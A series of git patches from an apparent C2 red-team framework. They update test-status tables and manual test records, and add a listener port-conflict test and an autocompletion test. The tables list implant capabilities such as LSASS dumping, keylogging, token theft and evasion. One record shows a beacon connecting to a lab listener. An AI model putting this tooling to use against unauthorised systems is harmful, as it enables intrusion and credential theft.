Linux release artifacts | Build/release output contains LinuxBeacons/, LinuxModules/, Tools/Linux/, Scripts/Linux, and CommandSpecs. | n/a | untested | -| untested | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | Start listener, register beacon, and exchange simple command results. | n/a | untested | | untested | medium | `LISTENER-DNS-001` | Listeners | DNS listener | Start DNS listener and route task/result traffic within DNS transport limits. | untested | untested | | untested | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | Start GitHub listener and route task/result traffic through configured repository transport. | untested | untested | | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | Add, list, and retrieve credentials through terminal commands. | n/a | n/a | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index f1c8b9d..5d6a033 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -44,7 +44,7 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto+manual | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | any | any | any | modules | pass | pass | | untested | auto+manual | medium | `LISTENER-DNS-001` | Listeners | DNS listener | any | any | dns | n/a | untested | untested | | untested | auto+manual | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | any | any | github | n/a | untested | untested | -| untested | manual | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | any | any | http | n/a | n/a | untested | +| pass | manual | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | any | any | http | n/a | n/a | pass | | pass | auto+manual | critical | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | any | any | https | hosted | pass | pass | | partial | auto+manual | high | `LISTENER-SMB-001` | Listeners | SMB listener | windows | any | smb | n/a | untested | pass | | partial | auto+manual | high | `LISTENER-TCP-001` | Listeners | TCP listener | any | any | tcp | n/a | untested | pass | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index a44b232..ef1a6ce 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,11 +10,11 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 49 | +| pass | 50 | | fail | 0 | | blocked | 1 | | partial | 57 | -| untested | 4 | +| untested | 3 | | planned | 2 | ## Validation Modes @@ -34,7 +34,7 @@ _Generated by `scripts/generate-test-state.py`._ | Beacon | 5 | 0 | 0 | 0 | 0 | 0 | 5 | | C2Client | 10 | 0 | 0 | 10 | 0 | 1 | 21 | | CommonCommands | 5 | 0 | 0 | 2 | 0 | 0 | 7 | -| Listeners | 1 | 0 | 0 | 2 | 3 | 0 | 6 | +| Listeners | 2 | 0 | 0 | 2 | 2 | 0 | 6 | | Modules | 12 | 0 | 0 | 39 | 0 | 1 | 52 | | Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | | TeamServer | 9 | 0 | 0 | 3 | 0 | 0 | 12 | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 40603b9..50d7640 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -193,6 +193,14 @@ results: evidence: "Created TCP listener on 4444. .\\BeaconTcp.exe 172.28.141.244 4444 -> connection OK. loadModule/cd/ls/upload/cat commands completed over TCP." notes: "Windows beacon over TCP listener 4444." + - id: LISTENER-HTTP-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "HTTP listener on port 8000 accepted a Windows beacon. listModule returned no loaded modules, loadModule whoami and whoami completed successfully, loadModule ls and ls completed successfully, and sleep 0.01 returned 10ms." + notes: "Also retested that creating an HTTP listener on an already-used port is now rejected instead of creating a ghost listener." + - id: LISTENER-SMB-001 status: pass date: "2026-05-08" diff --git a/teamServer/tests/TeamServerHttpListenerTransportTests.cpp b/teamServer/tests/TeamServerHttpListenerTransportTests.cpp index a09b24b..7982194 100644 --- a/teamServer/tests/TeamServerHttpListenerTransportTests.cpp +++ b/teamServer/tests/TeamServerHttpListenerTransportTests.cpp @@ -38,6 +38,27 @@ int findFreePort() ::close(sock); return port; } + +int bindLocalPort(int& port) +{ + const int sock = ::socket(AF_INET, SOCK_STREAM, 0); + assert(sock >= 0); + + sockaddr_in addr{}; + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + addr.sin_port = 0; + + const int bindResult = ::bind(sock, reinterpret_cast(&addr), sizeof(addr)); + assert(bindResult == 0); + + socklen_t len = sizeof(addr); + const int nameResult = ::getsockname(sock, reinterpret_cast(&addr), &len); + assert(nameResult == 0); + + port = ntohs(addr.sin_port); + return sock; +} #else int findFreePort() { @@ -113,10 +134,33 @@ void testHttpAndWebSocketTransport() assert(reply.empty()); ws.close(); } + +void testHttpInitRejectsOccupiedPort() +{ +#ifndef _WIN32 + int port = 0; + const int occupiedSocket = bindLocalPort(port); + + nlohmann::json config = { + {"LogLevel", "off"}, + {"ListenerHttpConfig", + { + {"uri", {"/checkin"}}, + {"server", {{"headers", nlohmann::json::object()}}}, + }}, + }; + + ListenerHttp listener("127.0.0.1", port, config, false); + assert(listener.init() < 0); + + ::close(occupiedSocket); +#endif +} } // namespace int main() { testHttpAndWebSocketTransport(); + testHttpInitRejectsOccupiedPort(); return 0; } From 1df3814d0ba9ebf07ee44129f02591de48312a8d Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Fri, 8 May 2026 21:40:38 +0200 Subject: [PATCH 62/82] manual test --- docs/TEST_GAPS.md | 2 +- docs/TEST_MATRIX.md | 2 +- docs/TEST_STATE.md | 6 +++--- docs/testing/manual-results.yaml | 8 ++++++++ 4 files changed, 13 insertions(+), 5 deletions(-) diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index c686c2e..6e166f8 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -5,6 +5,7 @@ _Generated by `scripts/generate-test-state.py`._ | Final | Priority | ID | Area | Feature | Scenario | Auto | Manual | |---|---|---|---|---|---|---|---| | blocked | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout. | n/a | blocked | +| blocked | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | Start GitHub listener and route task/result traffic through configured repository transport. | untested | blocked | | partial | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | Resolve Tools// and Tools/Any/any for module preparers and terminal upload. | pass | untested | | partial | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | Use C2_CERT_PATH when set and report a clear error when the certificate is missing. | pass | untested | | partial | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | Render help from TeamServer CommandSpec without legacy << or >> markers. | pass | untested | @@ -64,6 +65,5 @@ _Generated by `scripts/generate-test-state.py`._ | partial | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | Start, list, and stop TeamServer SOCKS routes from terminal commands. | pass | untested | | untested | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | Build/release output contains LinuxBeacons/, LinuxModules/, Tools/Linux/, Scripts/Linux, and CommandSpecs. | n/a | untested | | untested | medium | `LISTENER-DNS-001` | Listeners | DNS listener | Start DNS listener and route task/result traffic within DNS transport limits. | untested | untested | -| untested | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | Start GitHub listener and route task/result traffic through configured repository transport. | untested | untested | | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | Add, list, and retrieve credentials through terminal commands. | n/a | n/a | | planned | medium | `MODULE-KEYLOGGER-GENERATED-ARTIFACT-002` | Modules | keyLogger generated artifact | Persist keylogger follow-up output incrementally into GeneratedArtifacts/keylogger with host/timestamp naming. | n/a | n/a | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index 5d6a033..a078380 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -43,7 +43,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | high | `COMMON-SLEEP-001` | CommonCommands | sleep | any | any | any | n/a | pass | untested | | pass | auto+manual | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | any | any | any | modules | pass | pass | | untested | auto+manual | medium | `LISTENER-DNS-001` | Listeners | DNS listener | any | any | dns | n/a | untested | untested | -| untested | auto+manual | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | any | any | github | n/a | untested | untested | +| blocked | auto+manual | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | any | any | github | n/a | untested | blocked | | pass | manual | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | any | any | http | n/a | n/a | pass | | pass | auto+manual | critical | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | any | any | https | hosted | pass | pass | | partial | auto+manual | high | `LISTENER-SMB-001` | Listeners | SMB listener | windows | any | smb | n/a | untested | pass | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index ef1a6ce..f67643c 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -12,9 +12,9 @@ _Generated by `scripts/generate-test-state.py`._ |---|---:| | pass | 50 | | fail | 0 | -| blocked | 1 | +| blocked | 2 | | partial | 57 | -| untested | 3 | +| untested | 2 | | planned | 2 | ## Validation Modes @@ -34,7 +34,7 @@ _Generated by `scripts/generate-test-state.py`._ | Beacon | 5 | 0 | 0 | 0 | 0 | 0 | 5 | | C2Client | 10 | 0 | 0 | 10 | 0 | 1 | 21 | | CommonCommands | 5 | 0 | 0 | 2 | 0 | 0 | 7 | -| Listeners | 2 | 0 | 0 | 2 | 2 | 0 | 6 | +| Listeners | 2 | 0 | 1 | 2 | 1 | 0 | 6 | | Modules | 12 | 0 | 0 | 39 | 0 | 1 | 52 | | Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | | TeamServer | 9 | 0 | 0 | 3 | 0 | 0 | 12 | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 50d7640..abbd0d6 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -201,6 +201,14 @@ results: evidence: "HTTP listener on port 8000 accepted a Windows beacon. listModule returned no loaded modules, loadModule whoami and whoami completed successfully, loadModule ls and ls completed successfully, and sleep 0.01 returned 10ms." notes: "Also retested that creating an HTTP listener on an already-used port is now rejected instead of creating a ghost listener." + - id: LISTENER-GITHUB-001 + status: blocked + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Transport intentionally set aside during stabilization." + notes: "GitHub listener is an experimental/test transport that is not maintained or actively validated for the current release scope." + - id: LISTENER-SMB-001 status: pass date: "2026-05-08" From 754015c188cd73efb1c1b5d2b9c696ad80661e6d Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sat, 9 May 2026 14:26:57 +0200 Subject: [PATCH 63/82] manual test --- C2Client/tests/test_console_panel.py | 30 +++- core | 2 +- docs/TEST_GAPS.md | 27 ---- docs/TEST_MATRIX.md | 54 +++---- docs/TEST_STATE.md | 6 +- docs/testing/manual-results.yaml | 222 ++++++++++++++++++++++++++- 6 files changed, 275 insertions(+), 66 deletions(-) diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index c12f689..8fe3114 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -454,17 +454,28 @@ def __init__(self): def listArtifacts(self, query): self.queries.append(query) - if query.platform == "linux": + if query.category == "script" and query.platform == "linux" and query.runtime == "shell": return iter([SimpleNamespace(name="cleanup.sh", display_name="cleanup.sh")]) + if query.category == "upload" and query.platform == "linux" and query.runtime == "shell": + return iter([SimpleNamespace(name="uploadedCleanup.sh", display_name="uploadedCleanup.sh")]) return iter([SimpleNamespace(name="PowerView.ps1", display_name="PowerView.ps1")]) - script_filter = SimpleNamespace( + script_server_filter = SimpleNamespace( category="script", scope="server", target="beacon", platform="session.platform", arch="", - runtime="", + runtime="shell", + name_contains="", + ) + script_upload_filter = SimpleNamespace( + category="upload", + scope="operator", + target="beacon", + platform="session.platform", + arch="session.arch", + runtime="shell", name_contains="", ) powershell_filter = SimpleNamespace( @@ -481,7 +492,12 @@ def listArtifacts(self, query): kind="module", examples=["script cleanup.sh"], args=[ - SimpleNamespace(name="script_artifact", type="artifact", values=[], artifact_filter=script_filter), + SimpleNamespace( + name="script_artifact", + type="artifact", + values=[], + artifact_filters=[script_server_filter, script_upload_filter], + ), ], ) powershell_spec = SimpleNamespace( @@ -519,6 +535,7 @@ def listArtifacts(self, query): script_children = _completion_children(server_data, "script") assert ("cleanup.sh", []) in script_children + assert ("uploadedCleanup.sh", []) in script_children powershell_children = _completion_children(server_data, "powershell") assert _completion_children(powershell_children, "-i") @@ -529,7 +546,10 @@ def listArtifacts(self, query): assert not _completion_children(pwsh_children, "run") assert grpc.queries[0].category == "script" assert grpc.queries[0].platform == "linux" - assert grpc.queries[1].platform == "windows" + assert grpc.queries[1].category == "upload" + assert grpc.queries[1].platform == "linux" + assert grpc.queries[1].arch == "x64" + assert grpc.queries[2].platform == "windows" def test_command_specs_add_flag_completions_without_positional_mode_mix(): diff --git a/core b/core index a598b4f..5f63dad 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit a598b4f71a2a88d5b92ad9f80a9bf8a719cec146 +Subproject commit 5f63dad23324bc2372611293f943fd833af629a7 diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index 6e166f8..0353356 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -20,17 +20,11 @@ _Generated by `scripts/generate-test-state.py`._ | partial | high | `LISTENER-TCP-001` | Listeners | TCP listener | Start TCP listener and route task/result traffic. | untested | pass | | partial | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | Resolve fixed chisel binary from Tools for beacon arch and manage chisel start/status/stop. | pass | untested | | partial | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | Load COFF object from Tools and execute with packed arguments. | pass | untested | -| partial | high | `MODULE-DOTNETEXEC-CONTRACT-001` | Modules | dotnetExec | Load .NET assemblies from Tools, execute loaded assemblies, and autocomplete load artifacts. | pass | untested | | partial | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | Load kirbi ticket from UploadedArtifacts and apply it on Windows beacon. | pass | untested | | partial | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | Dump LSASS to XORed GeneratedArtifacts/minidump/beacon output and support local decrypt helper. | pass | untested | | partial | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | Resolve service executable from Tools or UploadedArtifacts, handle credentials, and execute remote service command. | pass | untested | | partial | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | Start/stop reverse port forwarding and emit recurring traffic chunks. | pass | untested | -| partial | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | Execute Scripts-backed Windows/Linux scripts with server-side script artifact resolution. | pass | untested | -| partial | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | Execute shell commands with stdout/stderr capture and startup failure handling. | pass | untested | -| partial | high | `MODULE-SIMPLE-FILESYSTEM-001` | Modules | Simple filesystem modules | Validate cat, cd, ls, mkdir, remove, tree, pwd, upload, download, and path error handling. | pass | untested | -| partial | high | `MODULE-SIMPLE-SYSTEM-001` | Modules | Simple system info/process modules | Validate whoami, getEnv, ipConfig, netstat, ps/listProcesses, killProcess, shell, and run. | pass | untested | | partial | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | Validate cimExec, dcomExec, sshExec, winRm, and wmiExec parameter validation plus functional remote execution where available. | pass | untested | -| partial | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | Validate makeToken, stealToken, rev2self, spawnAs, and related error handling. | pass | untested | | partial | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | Resolve beacon binaries by target OS and arch for droppers and terminal operations. | pass | untested | | partial | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | Generate shellcode artifacts from supported sources and expose generic generator metadata. | pass | untested | | partial | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | Render system/user/assistant markers with distinct colors and line breaks. | pass | untested | @@ -38,28 +32,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | Use consistent dark background across main layout, sessions, listeners, graph, consoles, and hooks. | pass | untested | | partial | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | Validate CIM execution parameters and execute a controlled remote command when lab target exists. | pass | untested | | partial | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | Validate DCOM execution parameters and execute a controlled remote command when lab target exists. | pass | untested | -| partial | medium | `MODULE-ENUMERATERDPSESSIONS-CONTRACT-001` | Modules | enumerateRdpSessions | Enumerate RDP sessions with readable output and safe error handling. | pass | untested | -| partial | medium | `MODULE-ENUMERATESHARES-CONTRACT-001` | Modules | enumerateShares | Enumerate network shares with readable output and safe error handling. | pass | untested | -| partial | medium | `MODULE-EVASION-CONTRACT-001` | Modules | evasion | Run supported evasion actions and report unsupported or failed actions clearly. | pass | untested | -| partial | medium | `MODULE-GETENV-CONTRACT-001` | Modules | getEnv | Return environment variables or a selected variable with clear missing-value handling. | pass | untested | -| partial | medium | `MODULE-IPCONFIG-CONTRACT-001` | Modules | ipConfig | Return interface/network information without truncating important data. | pass | untested | -| partial | medium | `MODULE-KEYLOGGER-CONTRACT-001` | Modules | keyLogger | Start/stop keylogger and collect key output safely. | pass | untested | -| partial | medium | `MODULE-KILLPROCESS-CONTRACT-001` | Modules | killProcess | Kill a safe dummy process and reject invalid PID values clearly. | pass | untested | -| partial | medium | `MODULE-MAKETOKEN-CONTRACT-001` | Modules | makeToken | Create a logon token from credentials and report authentication failures clearly. | pass | untested | -| partial | medium | `MODULE-MKDIR-CONTRACT-001` | Modules | mkDir | Create remote directories and report existing/invalid path failures. | pass | untested | -| partial | medium | `MODULE-NETSTAT-CONTRACT-001` | Modules | netstat | Return network connection/listening information in a readable format. | pass | untested | -| partial | medium | `MODULE-PS-CONTRACT-001` | Modules | ps | List processes with PID/name metadata and no console formatting breakage. | pass | untested | -| partial | medium | `MODULE-PWD-CONTRACT-001` | Modules | pwd | Return current working directory once, without duplicate console output. | pass | untested | -| partial | medium | `MODULE-REGISTRY-CONTRACT-001` | Modules | registry | Read/query registry keys and handle missing keys or malformed packed commands safely. | pass | untested | -| partial | medium | `MODULE-REMOVE-CONTRACT-001` | Modules | remove | Remove remote files/directories and report safe errors for missing paths. | pass | untested | -| partial | medium | `MODULE-REV2SELF-CONTRACT-001` | Modules | rev2self | Revert impersonation back to the original token. | pass | untested | -| partial | medium | `MODULE-SPAWNAS-CONTRACT-001` | Modules | spawnAs | Spawn a process as supplied credentials and handle invalid packed parameters. | pass | untested | | partial | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | Validate SSH execution parameters and execute a controlled remote command when lab target exists. | pass | untested | -| partial | medium | `MODULE-STEALTOKEN-CONTRACT-001` | Modules | stealToken | Impersonate token from a safe process and report invalid PID/access errors clearly. | pass | untested | -| partial | medium | `MODULE-TASKSCHEDULER-CONTRACT-001` | Modules | taskScheduler | Create/query/delete a scheduled task and validate parameter errors. | pass | untested | -| partial | medium | `MODULE-TREE-CONTRACT-001` | Modules | tree | Render recursive directory tree output without breaking console formatting. | pass | untested | -| partial | medium | `MODULE-WHOAMI-CONTRACT-001` | Modules | whoami | Return current user identity with clear output. | pass | untested | -| partial | medium | `MODULE-WINDOWS-ADMIN-001` | Modules | Windows admin modules | Validate registry, taskScheduler, evasion, enumerateShares, and enumerateRdpSessions. | pass | untested | | partial | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | Validate WinRM execution parameters and execute a controlled remote command when lab target exists. | pass | untested | | partial | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | Validate WMI execution parameters and execute a controlled remote command when lab target exists. | pass | untested | | partial | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | Start, list, and stop TeamServer SOCKS routes from terminal commands. | pass | untested | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index a078380..33298a2 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -49,10 +49,10 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | high | `LISTENER-SMB-001` | Listeners | SMB listener | windows | any | smb | n/a | untested | pass | | partial | auto+manual | high | `LISTENER-TCP-001` | Listeners | TCP listener | any | any | tcp | n/a | untested | pass | | pass | auto | critical | `MODULE-COMMANDSPEC-COVERAGE-001` | Modules | CommandSpec coverage | teamserver | n/a | n/a | command_specs | pass | n/a | -| partial | auto+manual | high | `MODULE-SIMPLE-FILESYSTEM-001` | Modules | Simple filesystem modules | any | any | https | any | pass | untested | -| partial | auto+manual | high | `MODULE-SIMPLE-SYSTEM-001` | Modules | Simple system info/process modules | any | any | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-WINDOWS-ADMIN-001` | Modules | Windows admin modules | windows | x64 | https | n/a | pass | untested | -| partial | auto+manual | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | windows | x64 | https | n/a | pass | untested | +| pass | auto+manual | high | `MODULE-SIMPLE-FILESYSTEM-001` | Modules | Simple filesystem modules | any | any | https | any | pass | pass | +| pass | auto+manual | high | `MODULE-SIMPLE-SYSTEM-001` | Modules | Simple system info/process modules | any | any | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-WINDOWS-ADMIN-001` | Modules | Windows admin modules | windows | x64 | https | n/a | pass | pass | +| pass | auto+manual | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | windows | x64 | https | n/a | pass | pass | | partial | auto+manual | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | windows | x64 | https | n/a | pass | untested | | pass | auto+manual | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | windows | x64 | https | generated | pass | pass | | pass | auto+manual | medium | `MODULE-CAT-CONTRACT-001` | Modules | cat | any | any | https | n/a | pass | pass | @@ -61,43 +61,43 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | windows | x64 | https | tools | pass | untested | | partial | auto+manual | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | windows | x64 | https | n/a | pass | untested | -| partial | auto+manual | high | `MODULE-DOTNETEXEC-CONTRACT-001` | Modules | dotnetExec | windows | x64 | https | tools | pass | untested | +| pass | auto+manual | high | `MODULE-DOTNETEXEC-CONTRACT-001` | Modules | dotnetExec | windows | x64 | https | tools | pass | pass | | pass | auto+manual | critical | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | any | any | https | generated | pass | pass | -| partial | auto+manual | medium | `MODULE-ENUMERATERDPSESSIONS-CONTRACT-001` | Modules | enumerateRdpSessions | windows | x64 | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-ENUMERATESHARES-CONTRACT-001` | Modules | enumerateShares | windows | x64 | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-EVASION-CONTRACT-001` | Modules | evasion | windows | x64 | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-GETENV-CONTRACT-001` | Modules | getEnv | any | any | https | n/a | pass | untested | +| pass | auto+manual | medium | `MODULE-ENUMERATERDPSESSIONS-CONTRACT-001` | Modules | enumerateRdpSessions | windows | x64 | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-ENUMERATESHARES-CONTRACT-001` | Modules | enumerateShares | windows | x64 | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-EVASION-CONTRACT-001` | Modules | evasion | windows | x64 | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-GETENV-CONTRACT-001` | Modules | getEnv | any | any | https | n/a | pass | pass | | pass | auto+manual | critical | `MODULE-INJECT-CONTRACT-001` | Modules | inject | windows | x64 | https | generated | pass | pass | -| partial | auto+manual | medium | `MODULE-IPCONFIG-CONTRACT-001` | Modules | ipConfig | any | any | https | n/a | pass | untested | +| pass | auto+manual | medium | `MODULE-IPCONFIG-CONTRACT-001` | Modules | ipConfig | any | any | https | n/a | pass | pass | | partial | auto+manual | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | windows | x64 | https | uploaded | pass | untested | -| partial | auto+manual | medium | `MODULE-KEYLOGGER-CONTRACT-001` | Modules | keyLogger | windows | x64 | https | generated | pass | untested | +| pass | auto+manual | medium | `MODULE-KEYLOGGER-CONTRACT-001` | Modules | keyLogger | windows | x64 | https | generated | pass | pass | | planned | planned | medium | `MODULE-KEYLOGGER-GENERATED-ARTIFACT-002` | Modules | keyLogger generated artifact | windows | x64 | https | generated | n/a | n/a | -| partial | auto+manual | medium | `MODULE-KILLPROCESS-CONTRACT-001` | Modules | killProcess | any | any | https | n/a | pass | untested | +| pass | auto+manual | medium | `MODULE-KILLPROCESS-CONTRACT-001` | Modules | killProcess | any | any | https | n/a | pass | pass | | pass | auto+manual | medium | `MODULE-LS-CONTRACT-001` | Modules | ls | any | any | https | n/a | pass | pass | -| partial | auto+manual | medium | `MODULE-MAKETOKEN-CONTRACT-001` | Modules | makeToken | windows | x64 | https | n/a | pass | untested | +| pass | auto+manual | medium | `MODULE-MAKETOKEN-CONTRACT-001` | Modules | makeToken | windows | x64 | https | n/a | pass | pass | | partial | auto+manual | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | windows | x64 | https | generated | pass | untested | -| partial | auto+manual | medium | `MODULE-MKDIR-CONTRACT-001` | Modules | mkDir | any | any | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-NETSTAT-CONTRACT-001` | Modules | netstat | any | any | https | n/a | pass | untested | +| pass | auto+manual | medium | `MODULE-MKDIR-CONTRACT-001` | Modules | mkDir | any | any | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-NETSTAT-CONTRACT-001` | Modules | netstat | any | any | https | n/a | pass | pass | | pass | auto+manual | critical | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | windows | x64 | https | scripts | pass | pass | -| partial | auto+manual | medium | `MODULE-PS-CONTRACT-001` | Modules | ps | any | any | https | n/a | pass | untested | +| pass | auto+manual | medium | `MODULE-PS-CONTRACT-001` | Modules | ps | any | any | https | n/a | pass | pass | | partial | auto+manual | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | windows | x64 | https | tools | pass | untested | | pass | auto+manual | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | windows | x64 | https | tools | pass | pass | -| partial | auto+manual | medium | `MODULE-PWD-CONTRACT-001` | Modules | pwd | any | any | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-REGISTRY-CONTRACT-001` | Modules | registry | windows | x64 | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-REMOVE-CONTRACT-001` | Modules | remove | any | any | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-REV2SELF-CONTRACT-001` | Modules | rev2self | windows | x64 | https | n/a | pass | untested | +| pass | auto+manual | medium | `MODULE-PWD-CONTRACT-001` | Modules | pwd | any | any | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-REGISTRY-CONTRACT-001` | Modules | registry | windows | x64 | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-REMOVE-CONTRACT-001` | Modules | remove | any | any | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-REV2SELF-CONTRACT-001` | Modules | rev2self | windows | x64 | https | n/a | pass | pass | | partial | auto+manual | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | any | any | https | n/a | pass | untested | | pass | auto+manual | high | `MODULE-RUN-CONTRACT-001` | Modules | run | any | any | https | n/a | pass | pass | | pass | auto+manual | high | `MODULE-SCREENSHOT-CONTRACT-001` | Modules | screenShot | windows | x64 | https | generated | pass | pass | -| partial | auto+manual | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | any | any | https | scripts | pass | untested | -| partial | auto+manual | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | any | any | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-SPAWNAS-CONTRACT-001` | Modules | spawnAs | windows | x64 | https | n/a | pass | untested | +| pass | auto+manual | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | any | any | https | scripts | pass | pass | +| pass | auto+manual | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | any | any | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-SPAWNAS-CONTRACT-001` | Modules | spawnAs | windows | x64 | https | n/a | pass | pass | | partial | auto+manual | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | any | any | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-STEALTOKEN-CONTRACT-001` | Modules | stealToken | windows | x64 | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-TASKSCHEDULER-CONTRACT-001` | Modules | taskScheduler | windows | x64 | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-TREE-CONTRACT-001` | Modules | tree | any | any | https | n/a | pass | untested | +| pass | auto+manual 